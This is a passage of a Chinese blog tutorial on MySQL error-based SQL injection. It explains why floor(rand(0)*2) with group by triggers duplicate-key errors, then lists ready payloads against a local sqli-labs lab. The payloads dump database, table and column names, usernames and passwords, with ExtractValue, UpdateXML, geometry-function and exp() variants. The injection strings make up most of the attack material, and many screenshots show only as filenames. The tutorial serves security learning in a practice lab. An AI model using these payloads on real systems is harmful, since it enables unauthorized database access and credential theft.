以下哪些是mysql注入类型_1.1 sql注入分类与详解

c34aaf3103d40fdb6281c446a6e98d62.png

8.group by依据我们想要的规矩对结果进行分组

8d8ea0de22f8841c8ce1038f3e60dbff.png

9.count()统计元素的个数

d293b9e3d1198f3400b73ce83800cd93.png

10.我们多重复几次

121e93d2892795286d726436287c1a24.png

0x02:rand()和rand(0)

1.根据刚才的运行结果,发现不加随机因子,执行2次就会报错,我们加上随机因子

看一下结果:

b7e5ed630ae94a0775c305db1783527e.png

发现每一次都报错,是不是说明报错语句有了floor(rand(0)*2)以及其他条件就一定报错,

验证一下,先建个表test,先只增加一条记录:

042dfd5c17d7e019a761bb2577bdca22.png

然后我们执行报错语句:

ba6c1a9642a35caebd0c662268cfa384.png

多次执行均没有发现报错

我们新增一条记录:

ed7f3238ac69e31ea581be16ef58155a.png

我们继续执行报错语句:

02f6c3b51877e7f45e18e0979089cf45.png

多次执行还是没有发现报错

我们再新增一条记录:

66ab46111e0855902f8478cb380907d6.png

我们测试一下报错语句:

9b7680eee6e5a1bb1c6d60ba2955e478.png

成功报错了

由此证明floor(rand(0)*2)的报错是有条件的,记录数必须大于等于3条,3条以上必定报错

0x03 确定性与不确定性

根据上面的验证,我们发现:

floor(rand()*2):二条记录随机出错

floor(rand(0)*2):三条记录以上一定报错

由此可以猜想,floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性

floor(rand(0)*2) :报错的原理恰恰是由于他的确定性

我们分别执行观察:

floor(rand()*2):

8b335ead654cd7567d4403134ce0060a.png

1a7272cb01891c885b9634d7572b4973.png

发现连续三次查询,没有一点规律

floor(rand(0)*2) :

1f0f39580afc42885fbb231758c0d86b.png

1aee896d69eb3a1694ca463c4b58e86a.png

发现连续三次查询都是有规律的,而且是固定的,这就是上面说的由于确定性才导致的爆错

0x04 count与group by的虚拟表

我们先看下来查询结果:

6114073dd8489e5b2774481fb6d98e7a.png

可以看出test5的记录有3条

与count(*)的结果相符合,如果mysql遇到了select count(*) from test group by name;

这种语句,会先建立一个虚拟表:

8e72801c9a4b088b717457dea3ad0cdc.png

当开始查询数据时,从数据库中取出数据,看在虚拟表中是否有同样的记录,

如果有,就在count(*)字段+1,如果没有就直接插入新记录:

5db0763a95328af29299012aed001e65.png

可这怎么引起报错?

0x05 floor(rand(0)*2)爆错

其实官方mysql给过提示,就是查询如果使用rand()的话,该值会被计算多次,也就是在使用group by 的时候,floor(rand(0)*2)会被执行一次,如果虚拟表中不存在记录,把数据插入虚拟表中时会再被执行一次。在0x03中我们发现floor(rand(0)*2)的值具有确定性,为01101100111011,报错实际上是floor(rand(0)*2)被多次计算所导致,具体看一下select count(*) from test group by floor(rand(0)*2);

1.查询前会建立虚拟表

8e72801c9a4b088b717457dea3ad0cdc.png

2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一遍,结果为1(第二次计算),插入虚拟表,这时第一条记录查询完毕:

384759f5c7cf49e306d4a48fd00d4317.png

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚拟表,发现1的键值存在(上图),所以floor(rand(0)*2)不会被计算第二次,直接count(*)+1,第二条记录查询完毕:

73437236e5faed4fd34172cbeacd17e7.png

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第四次计算),查询虚拟表,发现0的键值不存在,则虚拟表尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,结果为1(第五次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(应为主键键值必须唯一),所以插入时直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询了3次纪录,这就是为什么数据表中需要3条数据,这也就是使用该语句会报错的原因

0x06 flood(rand()*2)爆错

由0x01,0x02我们发现flood(rand()*2),具有随机性,

04f18eed23a66d12b44644623b730b17.png

最重要的是前面几条记录查询后不能让虚拟表存在0,1键值,如果存在了,那无论多少条记录都无法报错,应为floor(rand()*2)不会再被计算作为虚拟表的键值,这也就是为什么不加随机因子的时候会报错,有时候不报错:

b7870e8eb229095d08ba286eed28061b.png

这样的话,就算查询多少条记录,都不会再次被计算,只是简单的count(*)+1,所以不会报错

比如floor(rand(1)*2):

81d698ec269f3b6a893b8fe2bec6e431.png

4ff42767986ce0c2537aa2a6b04eae24.png

前两条记录查询过之后,虚拟表中已经存在0,1的键值了,所以后面只会在count(*)上面加,后面不会再爆错

这就是floor型报错注入的原理与过程

--------------------------------------------------------------------------------

information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,

数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数

据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等

等信息都保存在information_schema表里面。

ffbc5afd3b24dc95c764cedfe8a4d553.png

爆出数据库中的所有数据库名:

select schema_name from information_schema.schemata;

1f7709abc88cea1197ed3d88a3364222.png

爆出数据库中所有表名:

select table_name from information_schema.tables;

638f1a18f14a215e64c8d839fca9993a.png

爆出数据库中的列名:

select column_name from information_schema.columns where table_name='wp_users';

f5d1c1ce79863aae0a64424222523be6.png

爆出字段具体的值:

select table_name,table_schema from information_schema.tables group by table_schema;

select group_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name;

0x3a是 :的16进制

-————------

| name        |

---------------

|::security::0|

---------------

或者

-————------

| name        |

---------------

|::security::1|

---------------

concat()  : 连接两个或多个数组

select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;

-------————-----------------

|                   |                    |

| count(*)     |     name      |

--------------------------------

|                   |                   |

|     45          |::security::0  |

|                   |                    |

|     41          |::security::1  |

--------------------------------

但是刷新几次发现了一个错误:

ERROR 1062(23000):Duplicate entry'::security::1' for key 'group_key';

8008b8d62ccf8591e65f81f3c1276194.png

但是这个错误却爆出了当前数据库名,这对我们SQL注入是有用的,同理,我们可以换成不同的函数来获取信息

select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))name frominformation_schema.tables group by name;

刷新多遍,发现这个错误果然可以爆出数据库的版本信息

53774c04a48df6e9d35257c2bdfbac2e.png

这样的话,我们可以尝试爆表

select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;

多次刷新

竟然真的爆出了表的名字,我们还可以通过改变limit 0,1 来获取更多地表名

这里顺便补充一下limit 0,1 的用法  :

select * from table limit m,n

其中m是指记录开始的index,从0开始,表示第一条记录,n是指从第m+1条开始,取n条。

limit是mysql的语法

select * from table limit m,n

其中m是指记录开始的index,从0开始,表示第一条记录

n是指从第m+1条开始,取n条。

select * from tablename limit 2,4

即取出第3条至第6条,4条记

同理我们换成比较麻烦的来爆出表的名字

e095cda7ece50a6c565ead194add5d91.png

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%2

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

我们可以找到username,password字段

0a0dbfa4afcac7b1ece5aed74dc5e779.png

eedcb8b4c736f4bee3a39d840926fad7.png

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

可以爆出用户名

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

可以爆出用户名对应的用户密码

f5690d384e8a2bb1b3aee2b733b816af.png

其他方法

1、通过floor报错,注入语句如下:

爆数据库:

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆表:

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆字段:

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆用户名:

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆密码:

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

2、通过ExtractValue报错,注入语句如下:

爆数据库:

and extractvalue(1, concat(0x5c, (select database()),0x5c));

爆表:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5c));

爆字段:

and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns where table_name='users' limit 0,1),0x5c));

爆用户:

and extractvalue(1, concat(0x5c, (select username from users limit 0,1),0x5c));

爆密码:

and extractvalue(1, concat(0x5c, (select password from users limit 0,1),0x5c));3、通过UpdateXml报错,注入语句如下:

爆数据库:

and1=(updatexml(1,concat(0x3a,(select database()),0x3a),1))

爆表:

and1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1))

爆字段:

and1=(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a),1))

爆用户:

and1=(updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1))

爆密码:

and1=(updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1))4.通过geometrycollection()报错,注入语句如下:select * from test where id=1 and geometrycollection((select * from(select * from(selectuser())a)b));5.通过multipoint()报错,注入语句如下:select * from test where id=1 and multipoint((select * from(select * from(selectuser())a)b));6.通过polygon()报错,注入语句如下:select * from test where id=1 and polygon((select * from(select * from(selectuser())a)b));7.通过multipolygon()报错,注入语句如下:select * from test where id=1 and multipolygon((select * from(select * from(selectuser())a)b));8.通过linestring()报错,注入语句如下:select * from test where id=1 and linestring((select * from(select * from(selectuser())a)b));9.通过multilinestring()报错,注入语句如下:select * from test where id=1 and multilinestring((select * from(select * from(selectuser())a)b));10.通过exp()报错,注入语句如下:select * from test where id=1 and exp(~(select * from(select user())a));

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值